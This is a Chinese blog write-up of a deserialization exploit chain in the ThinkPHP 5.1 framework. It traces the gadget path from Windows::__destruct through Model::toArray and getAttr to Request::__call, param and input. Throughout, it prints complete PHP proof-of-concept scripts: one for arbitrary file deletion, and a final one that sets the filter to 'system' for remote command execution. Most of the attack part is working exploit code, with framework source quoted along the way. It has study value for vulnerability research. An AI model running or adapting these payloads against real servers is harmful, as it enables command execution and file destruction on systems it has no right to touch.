layout: thinkphp
title: 反序列化分析
date: 2022-09-01 21:15:02
tags:
thinkphp 5.1
从早上搞到下午四点多
我构造的这个poc是真几把烂啊
不过好在能运行成功
先放poc把
<?php
//windows类
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model\concern{
//Conversion类
trait Conversion
{
/* protected $append = [];
public function __construct()
{
$this->append=['key'=>array('name'=>'kkkl')];
}*/
}
/* trait Attribute
{
private $data = [];
public function __construct()
{
$this->data=['name'];
}
}*/
}
//Model类
namespace think{
abstract class Model{
//use model\concern\Conversion;
//use model\concern\Attribute;
private $data = [];
protected $append = [];
public function __construct()
{
$this->append=['name'=>['name'=>'kkkl']];
$this->data=['name'=>new Request()];
}
}
}
//Pivot类
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $filter;
protected $mergeParam = false;
protected $server = [];
//mingling
protected $param = [];
protected $route = [];
protected $hook = [];
public function __construct()
{
$this->filter="system";
$this->server['REQUEST_METHOD']=false;
$this->param=[''];
$this->config=["var_ajax"=>''];
$this->mergeParam = false;
$this->hook=['visible'=>[$this,"isAjax"]];
}
}
}
namespace {
use think\process\pipes\Windows;
$windows=new Windows();
echo base64_encode(serialize($windows));
}
下面先开始分析吧
希望在分析的时候可以把不懂得地方弄清楚
那先看最简单的 任意文件删除把
这个还是搞得明明白白的 哈哈哈ah
先进入这个windows.php类中
进入这个destruct方法中 这里这个
public function __destruct()
{
$this->close();
$this->removeFiles();
}
这里这个removefiles 进去
private function removeFiles()
{
//phpinfo();
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里在file_exists函数执行的时候会删除文件 所有我们就可以构造fliles为我们i想要删除的文件 这样就可以命令执行了
<?php
//任意文件删除漏洞
//windows类
namespace think\process\pipes{
class Windows{
private $files = [];
public function __construct()
{
$this->files=['D:\phpstudy_pro\WWW\thinkphp5.1.35-master\test.txt'];
}
}
}
namespace {
use think\process\pipes\Windows;
$windows=new Windows();
echo base64_encode(serialize($windows));
}
这个太简单 不想写出来怎么做了
嘿嘿
现在开始写rce把
这里还是从 file_exists 这个如果后面跟一个参数的时候 这个参数是对象的时候会触犯tostring方法
所有看看那里可以利用的
看这个类
thinkphp/library/think/model/concern/Conversion.php
这个里面有tostring 方法
但是呢 这给类 是个
trait 类
所有我们要找一个类去继承它
这里我们可以全局搜索
use model\consern\Conversion
这里找到
thinkphp/library/think/Model.php 类
看这里还是 个abstract类
所以我们还得找个正常的类 去实例化
这里我们找到了
thinkphp/library/think/model/Pivot.php
先来一步步的构造poc把
把刚刚我写的poc再构造出来
我们再Conversio类 触发同string的里面写一个phpinfo
这里写放出刚刚那一部分呢的poc
<?php
//windows类
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model\concern{
trait Conversion
{
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\process\pipes\Windows;
$windows=new Windows();
echo base64_encode(serialize($windows));
}
显示phpinfo 了 所以我刚才构造的是成功的
往下看
tostirng 直接触发tojson tojson 触发 toarray
这里toarray函数里面的东西是重点先贴出来
public function toArray()
{
//phpinfo();
$item = [];
$hasVisible = false;
//phpinfo();
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
//phpinfo();
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
//phpinfo();
// 合并关联数据
$data = array_merge($this->data, $this->relation);
//phpinfo();
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
//phpinfo();
// 追加属性(必须定义获取器)
//var_dump($this->append);
//phpinfo();
// var_dump($this->append);
if (!empty($this->append)) {
//phpinfo();
//var_dump($this->append);
foreach ($this->append as $key => $name) {
if (is_array($name)) {
//var_dump($name);
//phpinfo();
// 追加关联对象属性
$relation = $this->getRelation($key);
//var_dump($relation);
if (!$relation) {
//phpinfo();
$relation = $this->getAttr($key);
//phpinfo();
//echo $relation;
//var_dump($this->getAttr($key));
if ($relation) {
//phpinfo();
//var_dump($relation);
//var_dump($name);
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
//phpinfo();
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
小小分析一波
首先明确我们i想要到哪里
没错 就是这里
所以我们i想要控制的就只用 relation 和name了 还有必须要执行到这里 别的管jb是啥的 跟我没哦关系
比如我们想要看这个relation、是从哪里来的 我么就点一下就可以看到 会显示高亮
所以我可以看懂这个relation只在这里面可以看到
再看name
发现name也是只有这里也可以看到
还有就是看前面有没有return什么的 别到时候执行不到这里了 那不就白下了
扫了一眼 没有return ok
直接从这里看是看
这里$this->append 是可控的 反序列化嘛 所以可控
继续往下看看 遍历append数组
键名为key 键值为name
因为我们想要进入
$relation->visible($name);
这个里面 所以我们要先进入
if (is_array($name)) {
这个if分支
name必须为数组 所以我们后遭的时候就构造个二维数组就可以了
$relation = $this->getRelation($key);
然后进入这个函数里面看看
先要注意 这里的实参key (这里要记住 别等会用的时候忘了)
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
if (!$relation) {
并且我们也要进入这个if分支的 所以我们要使relation为假才可以
这里我们可以直接再上面让他return一个“”空就可以进入下面这个if分支了
那看一看怎么才能让它返回""
is_null(name)
这我们不能让name为空 还记得name是什么嘛 是key 是那个append的键值
本来就不为空 所以不用管
继续往下看
并且name 不能有relation数组里面的东西 这个时候relation就是空数组 也就不进入、所以这里就会返回空了
好
分析了 一波 现在开始构造poc
<?php
//windows类
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model\concern{
trait Conversion
{
protected $append = [];
public function __construct()
{
$this->append=['key'=>['kkkl'=>'kkkl']];
}
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\process\pipes\Windows;
$windows=new Windows();
echo base64_encode(serialize($windows));
}
这里在这里面加个
执行一下
ok说明构造成功了
好继续往下看
我们想要进入下面这个if 所以我么就要通过上面这个getarr函数返回真就可
进入这个函数
public function getAttr($name, &$item = null)
{
//phpinfo();
try {
$notFound = false;
//phpinfo();
$value = $this->getData($name);
//var_dump($value);
} catch (InvalidArgumentException $e) {
//phpinfo();
$notFound = true;
$value = null;
}
// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}
//phpinfo();
//var_dump($value);
return $value;
}
一看卧槽
这代码真jb多
仔细审一下
嘿嘿骗你的
先看前两行把、
先注意这里的key还是刚刚那个键名
这里又进入了getdata、函数
注意这里实参是name 还是刚刚那个键名
所以进入它
public function getData($name = null)
{
//phpinfo();
//var_dump($name);
//var_dump($this->data);
//var_dump($this->relation);
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
//phpinfo();
//var_dump($this->data);
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
//phpinfo();
//echo "iiiiii";
//var_dump($this->relation[$name]);
return $this->relation[$name];
}
我们要想返回值可控就要进入第二个或第三个里面
第三个我不会进 直接看第二个把
还是刚才的name就是那个append数组的键名 $this->data就是我们可控的
所以返回值是可控的
继续往下分析
走到最后一部
我们要控制进入call方法的 所以我们要先看找到那个call方法 把
全局搜索
thinkphp/library/think/Request.php
找到这个类 所以我们就可以构造了
所以我们构造relation、就为requests类的对象就可以了
怎么构造呢 回到getattr函数内
在这个函数内又进入到了getdata函数
这里我们让他返回 new request就可
所以控制$this->data[$name];为 new request就可
回到getarr 这里代码太多了 偷个懒 直接在return 上一行打印一个value 如果返回的是我们想要的就可以了
好了直接构造
<?php
//windows类
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model\concern{
use think\Request;
trait Conversion
{
protected $append = [];
/* public function __construct()
{
$this->append=['key'=>['kkkl'=>'kkkl']];
}*/
}
trait Attribute
{
private $data = [];
/* public function __construct()
{
$this->data=['key'=>new Request()];
}*/
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
private $data = [];
protected $append = [];
public function __construct()
{
$this->data=['key'=>new Request()];
$this->append=['key'=>['kkkl'=>'kkkl']];
}
}
class Request
{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\process\pipes\Windows;
$windows=new Windows();
echo base64_encode(serialize($windows));
}
在call里面加个phpinfo ok构造成功了
<?php
//windows类
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model\concern{
use think\Request;
trait Conversion
{
protected $append = [];
/* public function __construct()
{
$this->append=['key'=>['kkkl'=>'kkkl']];
}*/
}
trait Attribute
{
private $data = [];
/* public function __construct()
{
$this->data=['key'=>new Request()];
}*/
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
private $data = [];
protected $append = [];
public function __construct()
{
$this->data=['key'=>new Request()];
$this->append=['key'=>['kkkl'=>'kkkl']];
}
}
class Request
{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\process\pipes\Windows;
$windows=new Windows();
echo base64_encode(serialize($windows));
}
看
thinkphp/library/think/Request.php
看request类里面的call方法把
public function __call($method, $args)
{
//phpinfo();
//var_dump($args);
//echo $method;
if (array_key_exists($method, $this->hook)) {
//echo 123;
//phpinfo();
array_unshift($args, $this);
//var_dump($this->hook[$method]);
//var_dump($args);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
这里的call_user_func_array()
是回调函数我们可以控制
$this->hook[$method] 还有args 但是上面有个array_unshift($args, $this);
一直把对象加入args前面 就会产生报错
不能够执行 但是我们可以调用别的函数来执命令
往下看
这个函数里面也可以进行命令执行
所以我们看看参数是否可控
filters 和value都不可控
所以我们看看那里调用了 filtervalue函数
public function input($data = [], $name = '', $default = null, $filter = '')
{
echo "<br>";
if (false === $name) {
//phpinfo();
//返回get传参的值
// 获取原始数据
return $data;
}
//phpinfo();
$name = (string) $name;
//var_dump($name);
if ('' != $name) {
//phpinfo();
// 解析name
if (strpos($name, '/')) {
//phpinfo();
list($name, $type) = explode('/', $name);
}
//phpinfo();
//var_dump($data);
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
//echo 123;
//var_dump($filter);
if (is_array($data)) {
//phpinfo();
//这里可以调用filtervalue函数 但是 data不可控 filter参数 不确定 直接跟进getfilter 由于 data不可控 所以找调用input的方法看看是否可控
//public function input($data = [], $name = '', $default = null, $filter = '')
//var_dump($data);
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
//phpinfo();
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
看到input里面调用了 filtervalue函数
这里我们再看一个函数
array_walk_recursive
百度一下看看啥意思
看了一下应该也就是调用函数的意思
array_walk_recursive($data, [$this, 'filterValue'], $filter);
所以这个意思就是data数组的键值作为value 键名作为 key 而第三个filter、作为 filters
反正就是调用函数的意思把
先看看如何控制参数把
我们要控制 data 和filter
那继续看看那里调用了input函数把
param函数调用了 input函数
但是 param函数参数是形参也不可控 所以就继续网上看把
有个isajax函数
这里我们的param函数是可控的
所以我们就想办法让刚才的回调函数调用到isajax函数
这里我们把
$this->hook[$method]
赋值为isajax函数 args无所谓了
看一下param函数
public function param($name = '', $default = null, $filter = '')
{
//这里我们控制 $this->mergeparam为真就可 进入if
if (!$this->mergeParam) {
//进入method方法看看 这里返回为GET
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
//合并了一些东西 $this->param是可控的 跟进get方法 get方法返回的是 get传参的值 看下$vars这里我们可以让它为空应该也行把 对
//我刚刚实验了也是可以的 所以我们直接让他进入default就可以了
//进入route方法 返回的是$route
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
//public function input($data = [], $name = '', $default = null, $filter = '')
//这里调用的input函数 并且$this->param是可控的 所以 data是可控的 但是前面对$this->param进行了一些操作 看一下
return $this->input($this->param, $name, $default, $filter);
}
$this->mergeParam
这个可以控制我们进入他
我们是mergeparam为假
返回get
使var为空
param就使我们get传参的值和$this->param的值了
$this-filter是我们自定义的函数system
就可以命令执行了
<?php
//windows类
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model\concern{
use think\Request;
trait Conversion
{
protected $append = [];
/* public function __construct()
{
$this->append=['key'=>['kkkl'=>'kkkl']];
}*/
}
trait Attribute
{
private $data = [];
/* public function __construct()
{
$this->data=['key'=>new Request()];
}*/
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
private $data = [];
protected $append = [];
public function __construct()
{
$this->data=['key'=>new Request()];
$this->append=['key'=>['kkkl'=>'kkkl']];
}
}
class Request
{
protected $server = [];
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $mergeParam = false;
protected $param = [];
protected $route = [];
protected $filter;
public function __construct()
{
$this->hook=['visible'=>[$this,"isAjax"]];
$this->config['var_ajax']='';
$this->server=array('REQUEST_METHOD'=>false);
$this->mergeParam = false;
$this->param=['dir'];
$this->route=[''];
$this->filter="system";
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\process\pipes\Windows;
$windows=new Windows();
echo base64_encode(serialize($windows));
}
。。。写到21.13
标签:分析,name,phpinfo,relation,key,thinkphp,序列化,data,think From: https://www.cnblogs.com/kkkkl/p/16748381.html